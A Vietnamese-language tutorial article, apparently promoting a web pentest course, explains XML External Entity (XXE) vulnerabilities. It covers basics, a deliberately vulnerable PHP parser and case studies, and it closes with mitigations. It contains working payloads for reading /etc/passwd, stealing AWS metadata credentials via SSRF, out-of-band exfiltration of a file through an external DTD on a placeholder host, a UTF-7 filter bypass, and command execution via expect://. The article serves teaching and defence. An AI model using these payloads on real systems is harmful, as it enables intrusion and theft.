Học tập

Tài nguyên

Lỗ hổng XXE là gì? Khai thác nâng cao và những trường hợp thực tế

Technical Writer

Lỗ hổng XXE (XML External Entity) là một trong những mối đe dọa nguy hiểm nhưng thường bị đánh giá thấp. Dù các cơ chế bảo mật hiện đại đã khiến việc phát hiện và khai thác XXE trở nên khó khăn hơn, tác động của chúng vẫn rất nghiêm trọng: từ đọc file nội bộ, truy cập mạng riêng, đến thực thi mã từ xa.

Bài viết này sẽ giải thích toàn diện về lỗ hổng XXE và các kỹ thuật khai thác nâng cao, giúp bạn hiểu rõ:

Cơ chế hoạt động của XML và External Entity là gì
Cách thức và vị trí nhận diện lỗ hổng XXE
Kỹ thuật khai thác XXE cơ bản và nâng cao
Các trường hợp nghiên cứu thực tế từ 2018-2025
Phương pháp phòng chống hiệu quả

XML External Entity là gì?

XML External Entity (XXE) là lỗ hổng bảo mật cho phép kẻ tấn công thao túng dữ liệu XML với mục đích lợi dụng khả năng của trình phân tích (parser). Kết quả thường là khiến ứng dụng dễ bị tổn thương thực hiện các kết nối HTTP đến máy chủ tùy ý (Server-Side Request Forgery), đọc file nội bộ, hoặc trong trường hợp nghiêm trọng, thậm chí có thể thực thi mã từ xa.

Nguyên nhân cốt lõi của lỗ hổng XXE xuất phát từ hai điểm chính:

Dữ liệu không đáng tin cậy (untrusted data) rơi vào quá trình xử lý của XML Parser
XML hỗ trợ External Entity, cho phép tham chiếu đến nội dung bên ngoài tài liệu

Cơ bản về XML

Trước khi đi sâu vào lỗ hổng XXE, hãy hiểu nhanh về XML. Extensible Markup Language (XML) được thiết kế để lưu trữ và vận chuyển dữ liệu có cấu trúc, không như HTML chủ yếu dùng để hiển thị dữ liệu.

Điểm đặc trưng của XML:

Tags có thể tự định nghĩa tùy theo nhu cầu
Có thể chứa Document Type Definition (DTD) định nghĩa cấu trúc
Hỗ trợ entities (thực thể) - như biến số trong lập trình

Ví dụ XML đơn giản:

<?xml version="1.0" encoding="UTF-8"?> <product> <name>Nón bảo hiểm</name> <price>200000</price> </product>

XML Entities và External Entities

XML entities là cách để định nghĩa "biến" trong tài liệu XML. Bạn có thể coi chúng như phím tắt cho nội dung sẽ được sử dụng nhiều lần. Entities có hai loại chính:

Internal entities - giá trị được định nghĩa trong cùng tài liệu XML:

<!DOCTYPE product [ <!ENTITY price "200.000"> ]> <product> <name>Nón bảo hiểm</name> <price>&price;</price> </product>

External entities - giá trị được lấy từ nguồn bên ngoài (và đây chính là nguồn gốc của lỗ hổng XXE):

<!DOCTYPE product [ <!ENTITY ext1 SYSTEM "http://cyberjutsu.io/"> <!ENTITY ext2 SYSTEM "file:///etc/passwd"> ]>

Cú pháp:

<!ENTITY entity_name SYSTEM "URI/URL">

Đây chính là cách kẻ tấn công có thể đọc file hệ thống hoặc kết nối đến server khác từ ứng dụng dễ bị tổn thương.

Nhận diện lỗ hổng XXE

XXE thường xuất hiện ở những thành phần ứng dụng xử lý dữ liệu XML, bao gồm:

Web Services sử dụng XML (SOAP, REST, và RPC APIs chấp nhận dữ liệu XML)
Chức năng import/export dữ liệu dựa trên XML
Bộ xử lý feed RSS/Atom
Trình xem/chuyển đổi tài liệu XML (như DOCX, XLSX)
Xử lý upload file XML (như hình SVG)

Mẹo: Luôn kiểm tra các thành phần ứng dụng chấp nhận và xử lý dữ liệu XML. Một số API REST có thể được cấu hình (vô tình) để chấp nhận nhiều định dạng dữ liệu, bao gồm cả XML. Bạn thậm chí có thể thử thay đổi header Content-Type từ "application/json" sang "text/xml" để tìm các điểm tiềm ẩn lỗ hổng.

Khai thác lỗ hổng XXE cơ bản

Hãy xem một đoạn mã PHP dễ bị tổn thương với XXE:

<?php $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); echo "Dữ liệu nhận được: "; echo $dom->saveXML(); ?>

Nhìn đoạn mã trên, chúng ta có thể thấy vấn đề:

Không có xác thực đầu vào hợp lệ
Trình phân tích XML hỗ trợ entities (cờ LIBXML_NOENT)
Trình phân tích được cấu hình để tự động tải DTD bên ngoài (cờ LIBXML_DTDLOAD)

Với đoạn mã dễ bị tổn thương này, chúng ta có thể gửi payload XML độc hại để đọc file /etc/passwd:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data> <post> <post_title>&xxe;</post_title> <post_desc>...</post_desc> </post> </data>

XXE để thực hiện SSRF

Tương tự, thay vì khai báo đường dẫn đến file cục bộ, chúng ta có thể chèn URL đến một host tùy ý để thực hiện các cuộc tấn công Server-Side Request Forgery:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY ssrf SYSTEM "https://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]> <data> <post> <post_title>&ssrf;</post_title> <post_desc>...</post_desc> </post> </data>

Payload trên sẽ khiến server thực hiện request đến URL metadata của AWS, một kỹ thuật phổ biến để tìm kiếm thông tin xác thực AWS trên EC2.

Khai thác nâng cao với XXE

Trong thực tế, việc tìm kiếm các thành phần ứng dụng dễ bị tổn thương với XXE đơn giản như mô tả ở trên khá hiếm. Các nhà phát triển ngày càng nhận thức về bảo mật, và các tính năng bảo mật mặc định mới nhằm giảm thiểu các cuộc tấn công tiêm nhiễm nguy hiểm như XXE.

Vì vậy, hãy xem xét các kỹ thuật khai thác nâng cao hơn:

Khai thác XXE với DTD bên ngoài

Trong một số trường hợp, mục tiêu có thể lọc protocol file:// và thay thế bằng giá trị trống hoặc chặn nó hoàn toàn. Để vượt qua điều này, chúng ta có thể tận dụng Document Type Definition (DTD) bên ngoài.

DTD về cơ bản là một file xác định các entities sử dụng trong cấu trúc XML độc hại. Thay vì khai báo cục bộ như trước đây và bị lọc protocol file://, chúng ta có thể khai báo DTD của mình trong một file bên ngoài và vượt qua việc lọc hoàn toàn.

Giả sử chúng ta có file DTD sau đây được lưu trữ trên server của chúng ta:

<!ENTITY % hostname SYSTEM "file:///etc/hostname"> <!ENTITY % e "<!ENTITY % xxe SYSTEM 'http://example.com/?c=%hostname;'>"> %e; %xxe;

Chúng ta có thể tạo payload XXE để khiến ứng dụng dễ bị tổn thương kết nối với server của chúng ta, tải file DTD độc hại và thực thi nội dung của nó:

<!DOCTYPE data [ <!ENTITY % xxe SYSTEM "https://example.com/xxe.dtd"> %xxe; ]> <data> <post> <post_title>...</post_title> <post_desc>...</post_desc> </post> </data>

Với cách tiếp cận này, chúng ta không còn cần phải chỉ định protocol file:// bị chặn trực tiếp đến server dễ bị tổn thương, nhưng vẫn có thể tiết lộ nội dung của các file nội bộ!

Khai thác XXE mù với parameter entity

Một số nhà phát triển cố gắng ngăn chặn tấn công XXE bằng cách lọc các ký hiệu entity khỏi đầu vào người dùng. Ký hiệu entity (tương đương với biến) thường được khai báo và sử dụng với dấu &. Lọc dấu này có vẻ hợp lý, nhưng chúng ta có thể vượt qua bằng cách sử dụng parameter entity.

Parameter entity được định nghĩa với dấu phần trăm (<!ENTITY % name "value">) và được tham chiếu với cú pháp: %name;. Chúng chỉ có thể được tham chiếu trong DTD, không phải nội dung XML. Ví dụ:

<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://example.com/"> %xxe; ]> <root></root>

Khai thác XXE thông qua UTF-7 encoding

Nếu parser được cấu hình để chấp nhận nhiều bảng mã ký tự, chúng ta có thể về cơ bản gửi payload độc hại được mã hóa trong UTF-7 thay vì UTF-8:

<?xml version="1.0" encoding="UTF-7"?> +ADw-+ACE-DOCTYPE+ACA-data+ACA-+AFs-+AAo-+ACA-+ACA-+ADw-+ACE-ENTITY+ACA-xxe+ACA-SYSTEM+ACA-+ACI-file:///etc/passwd+ACI-+AD4-+AAo-+AF0-+AD4-+AAo-+ADw-data+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-post+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-title+AD4-+ACY-xxe+ADs-+ADw-/post+AF8-title+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-desc+AD4-xyz+ADw-/post+AF8-desc+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-/post+AD4-+AAo-+ADw-/data+AD4-

Cách tiếp cận này có thể giúp chúng ta vượt qua nhiều hạn chế xác thực đầu vào, đặc biệt các hệ thống lọc dựa trên từ khóa đen để ngăn tấn công XXE.

Nâng cấp XXE lên thực thi mã từ xa (RCE)

Trong một số trường hợp, có thể vượt ra ngoài việc đọc file hệ thống hoặc tiếp cận mạng nội bộ. Ví dụ, khi module PHP Expect được bật, chúng ta có thể sử dụng wrapper để thực thi lệnh hệ thống:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY exec SYSTEM "expect://whoami"> ]> <data> <post> <post_title>whoami: &exec;</post_title> <post_desc>...</post_desc> </post> </data>

PHP còn có nhiều wrapper khác có thể được khai thác để nâng cấp lỗ hổng XXE ban đầu:

PHP filter wrapper: Để đọc mã nguồn PHP
PHP archive wrapper (PHAR): Để đọc file trong archive
Wrappers ZIP/JAR: Để đọc file trong archive
Data wrapper: Để chèn dữ liệu tùy ý
Gopher wrapper: Để tương tác với các giao thức khác
FTP wrapper: Để tương tác với FTP
Dict wrapper: Để tương tác với dịch vụ dictionary

Ví dụ về wrapper filter của PHP:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/path/to/file.php"> ]> <data> <post> <post_title>&xxe;</post_title> <post_desc>...</post_desc> </post> </data>

Filter PHP này sẽ mã hóa nội dung file PHP thành base64 và trả về cho chúng ta.

Trường hợp nghiên cứu về XXE thực tế

Qua các năm, đã có nhiều trường hợp nghiên cứu quan trọng về XXE với các chuỗi khai thác phức tạp. Dưới đây là một số ví dụ nổi bật, cung cấp cái nhìn sâu sắc về cách XXE được khai thác trong thực tế:

Từ XXE mù đến đọc file cấp root (2018)

Trong trường hợp này, một nhà nghiên cứu đã phát hiện lỗ hổng XXE mù trong một endpoint XML. Bằng cách tận dụng thông báo lỗi, họ có thể liệt kê file và dịch vụ nội bộ trên server.

Tiếp theo, bằng cách khai thác lỗ hổng SSRF trong máy chủ Confluence nội bộ, họ vượt qua tường lửa và đạt được quyền đọc file cấp root. Đây là một ví dụ điển hình về chuỗi khai thác, kết hợp XXE với SSRF để mở rộng phạm vi tấn công.

Kỹ thuật sử dụng lỗi dựa trên giao thức (ví dụ: "no protocol: bin\nboot\n...") để liệt kê nội dung thư mục và đọc file bằng cách thêm dấu hai chấm để kích hoạt lỗi "no protocol", hiển thị nội dung file đầy đủ.

XXE đến RCE trong plugin XML (2019)

Lỗ hổng XXE được tìm thấy trong thư viện LSP4XML, được sử dụng bởi nhiều plugin XML phổ biến trong VS Code, Eclipse's wildwebdeveloper, và theia-xml-extension. Lỗ hổng này cho phép thực thi mã từ xa chỉ bằng cách mở một file XML độc hại.

Kẻ tấn công có thể ghi file tùy ý bằng cách khai thác lỗ hổng vượt đường dẫn (path traversal). Sau đó, họ có thể đặt file batch hoặc desktop file vào thư mục khởi động (Windows: $HOME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup/, Linux: $HOME/.config/autostart/), dẫn đến thực thi mã khi người dùng đăng nhập lại.

Điều đáng chú ý là lỗ hổng này xuất hiện trong các công cụ phát triển phổ biến, không phải ứng dụng web thông thường, cho thấy XXE có thể xuất hiện trong nhiều loại phần mềm khác nhau.

Khai thác XXE trên SharePoint (2024)

Một trường hợp gần đây nhất là lỗ hổng XXE được phát hiện trên SharePoint (cả phiên bản server và cloud), cho phép người dùng có quyền thấp đọc file, thực hiện SSRF, và relay NTLM.

Nguyên nhân là do sự nhầm lẫn trong việc phân tích URL trong lớp SPXmlDataSource, dẫn đến XmlSecureResolver không áp dụng chính sách hạn chế đúng cách. Kẻ tấn công có thể sử dụng URL không hợp lệ như file://localhost\c$/sites/mysite/test.xml để vượt qua kiểm soát và đọc file với quyền của tài khoản dịch vụ SharePoint Farm.

Sức mạnh của lỗ hổng này nằm ở việc kết hợp XXE với các kỹ thuật nâng cao như NTLM relaying để mở rộng phạm vi tấn công.

Phòng chống lỗ hổng XXE

Để bảo vệ ứng dụng của bạn khỏi lỗ hổng XXE, hãy thực hiện các biện pháp sau:

Vô hiệu hóa external entities: Cấu hình XML parser để không xử lý external entities và DTD. Cụ thể:
- Trong PHP: Tắt LIBXML_NOENT và LIBXML_DTDLOAD khi phân tích XML
- Trong Java: Sử dụng setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
- Trong .NET: Đặt XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit
Sử dụng định dạng dữ liệu đơn giản hơn: Nếu có thể, hãy cân nhắc sử dụng các định dạng đơn giản hơn như JSON, thay vì XML.
Xác thực đầu vào: Triển khai kiểm tra đầu vào nghiêm ngặt, loại bỏ bất kỳ dữ liệu đáng ngờ nào trước khi xử lý XML.
Cập nhật thư viện XML: Thường xuyên cập nhật các thư viện XML để đảm bảo bạn được bảo vệ khỏi các lỗ hổng mới phát hiện.
Giám sát và ghi log: Triển khai giám sát và ghi log để phát hiện và điều tra các cố gắng khai thác XXE.

Kết luận

Lỗ hổng XXE vẫn hiện diện trong các ứng dụng web hiện đại, mặc dù chúng có vẻ khó phát hiện và khai thác hơn do các biện pháp bảo mật cao hơn và nhận thức rộng rãi hơn. Tuy nhiên, hiểu về cách XXE hoạt động và những kỹ thuật khai thác nâng cao vẫn rất quan trọng, không chỉ để phát hiện lỗi mà còn để bảo vệ ứng dụng của bạn.

Đặc biệt, với sự phát triển của các hệ thống phức tạp kết hợp nhiều công nghệ, bề mặt tấn công càng lúc càng mở rộng - nơi XXE có thể ẩn náu trong những ngóc ngách không ngờ tới. Các kỹ thuật khai thác nâng cao như chúng tôi đã trình bày càng cho thấy tầm quan trọng của việc có sự hiểu biết sâu sắc về bảo mật ứng dụng web.

Với tinh thần "phá vỡ để thấu hiểu" (Learning by Breaking), khóa học Web Pentest 2025 của CyberJutsu cung cấp cho bạn kiến thức và kỹ năng thực hành để không chỉ hiểu về các lỗ hổng như XXE mà còn phát hiện và khai thác chúng một cách hiệu quả. Từ đó, bạn xây dựng nền tảng vững chắc để trở thành một chuyên gia bảo mật web thực thụ.

Nếu bạn quan tâm đến việc tìm hiểu sâu hơn và muốn thử nghiệm trực tiếp với các lỗ hổng trong môi trường an toàn, hãy khám phá khóa học miễn phí Demo Web Pentest 2025 của chúng tôi. Đây là cách tuyệt vời để bạn có cái nhìn tổng quan và trải nghiệm phương pháp giảng dạy độc đáo của CyberJutsu trước khi quyết định tham gia khóa học đầy đủ.